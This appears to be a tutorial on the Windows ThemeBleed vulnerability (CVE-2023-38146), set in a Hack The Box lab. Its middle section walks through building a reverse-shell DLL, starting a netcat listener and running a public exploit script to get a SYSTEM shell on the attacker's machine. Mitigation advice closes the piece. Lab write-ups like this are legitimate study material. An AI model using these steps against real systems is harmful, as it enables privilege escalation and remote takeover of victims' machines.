Understanding CVE-2023-38146: Deep Dive into the ThemeBleed Vulnerability

Understanding CVE-2023-38146: ThemeBleed Windows Vulnerability:

ThemeBleed (CVE-2023-38146) represents a critical vulnerability in Windows Theme Feature that allows local privilege escalation through improper handling of theme binary data.

What is ThemeBleed?

ThemeBleed is a security vulnerability in the Windows Theme Binary Data feature where improper handling of theme files can lead to:

• Local privilege escalation
• Arbitrary file read
• Potential system compromise

Technical Deep Dive:

Component Overview:

The vulnerability exists in several key Windows components:

Affected Components:
├── Theme Binary Data Parser
│   ├── Handles .THEME and .MSSTYLES files
│   └── Responsible for version validation
├── Windows Theme Service
│   ├── Loads theme resources
│   └── Manages DLL verification
└── Desktop Window Manager
    ├── Applies visual themes
    └── Executes theme components

Discovery Background:

Security researcher Will Kirkpatrick discovered this vulnerability while investigating uncommon Windows file formats, specifically focusing on the .THEME format used for Windows visual customization.

Vulnerability Details:

The vulnerability involves several key components:

Theme Components:
├── .THEME files
│   └── Contains appearance settings
├── .MSSTYLES files
│   ├── Should only contain graphical resources
│   └── No executable code intended
└── Version handling
    ├── Special "999" version number
    └── Improper DLL validation

Race Condition Exploitation:

The core issue lies in the handling of .MSSTYLES files when a specific version number (999) is used:

1. Initial DLL Verification:

   • System checks “_vrf.dll” signature
   • Validates file integrity

2. Race Window:

   • Time gap between verification and loading
   • Allows DLL replacement
   • Original verification becomes invalid

3. Exploitation:

   • Malicious DLL can be substituted
   • System loads replaced DLL
   • Arbitrary code execution achieved

Distribution Vector:

The vulnerability has two interesting distribution aspects:

1. Direct Theme Files:

   • Downloads trigger mark-of-the-web warnings
   • Users receive security prompts
   • Some protection provided

2. THEMEPACK Bypass:

   • .THEMEPACK files are CAB archives
   • Automatically extract and apply themes
   • Bypass mark-of-the-web protection
   • No security warnings shown

Real-World Exploitation Example:

• This was performed on the hack the box machine Aero:
  • https://app.hackthebox.com/machines/Aero

Available Proof of Concept:

A public POC for the ThemeBleed exploit is available at:

• https://github.com/Jnnshschl/CVE-2023-38146
  • The creator has also written a blog-post to accompany the POC.
• +Note+: There are multiple POC’s however this is just my preffered one.

Exploitation Process

1. Payload Preparation:

   • Create malicious DLL containing reverse shell code
   • Configure connection parameters (IP, port)
   • Compile in Release mode for target architecture

2. Exploit Setup:

Directory Structure:
└── exploit_root/
    ├── tb/
    │   └── Aero.msstyles_vrf_evil.dll # Our compiled reverse shell DLL that gains SYSTEM
    │   └── Aero.msstyles              # Modified theme file that triggers the exploit
    │   └── Aero.msstyles_vrf.dll      # Legitimate Microsoft-signed DLL we race against
    └── themebleed.py                  # Python script that orchestrates the attack

1. Execution Flow:
   • Attacker starts listener on control server
   • Exploit script triggers theme loading
   • Race condition allows DLL substitution
   • Reverse shell connects to attacker

Building the ThemeBleed CVE-2023-38146 Reverse Shell DLL:

The exploit requires a reverse shell DLL. A POC for this is available at:

• https://github.com/Jnnshschl/ThemeBleedReverseShellDLL

• Development Environment Setup

  • Windows 10 VM (my preffered version is setup using Mandiant Commando script)
    • Visual Studio +(not Visual Studio Code+)

• Building Process

  1. Open Visual Studio and clone the repo:

     • 

     • 

  2. Configure attack parameters:

     • Locate main.cpp
     • Set attack IP and port (lines 32/34)
     • Set “autoReconnect” to false

     • 

  3. Prepare for compilation:

     • Set to release mode

     • 

  4. Build the solution:

     • 

       +Note+: “Building the solution” means compiling the exploit
  5. Locate the compiled DLL at:
     • C:\Users\[YourUserName]\source\repos\ThemeBleedReverseShellDLL\x64\Release\ThemeBleeedReverseShell.dll

Executing the Exploit

1. Clone the main exploit repository: git clone https://github.com/Jnnshschl/CVE-2023-38146.git

2. Prepare the payload:

   • Move ThemeBleeedReverseShell.dll to the tb folder
   • Rename it to Aero.msstyles_vrf_evil.dll

   • 

   +Note+: The repository mentions td folder but it’s actually tb

3. Start the listener: rlwrap -cAr nc -nvlp 4711

4. Execute the exploit: python3 themebleed.py -r [MYAttackMachine] --no-dll

5. Receive the connection:

   • 

Impact Analysis:

Affected Systems:

Security Implications:

The vulnerability can lead to:

1. Local privilege escalation
2. System compromise
3. Unauthorized file access

Mitigation:

Mitigation Strategies

1. System Updates:

   • Apply latest Windows security updates
   • Enable automatic updates

2. Access Controls:

# PowerShell: Restrict theme directory access
$acl = Get-Acl "C:\Windows\Resources\Themes"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "Users","Read","Allow")
$acl.SetAccessRule($rule)
Set-Acl "C:\Windows\Resources\Themes" $acl

1. Group Policy Settings:
   • Disable theme changes for standard users
   • Restrict access to theme directories

Prevention Best Practices

1. System Hardening:

   • Implement principle of least privilege
   • Regular security updates
   • Monitor theme-related activities

2. Security Controls:

   • Application control policies
   • User access restrictions
   • System monitoring
   • Block .THEMEPACK files at network edge
   • Monitor DLL loading during theme changes

References

1. Microsoft Security Advisory
2. CVE-2023-38146 Details
3. Bleeping Computer
4. Will Kirkpatrick’s Technical Analysis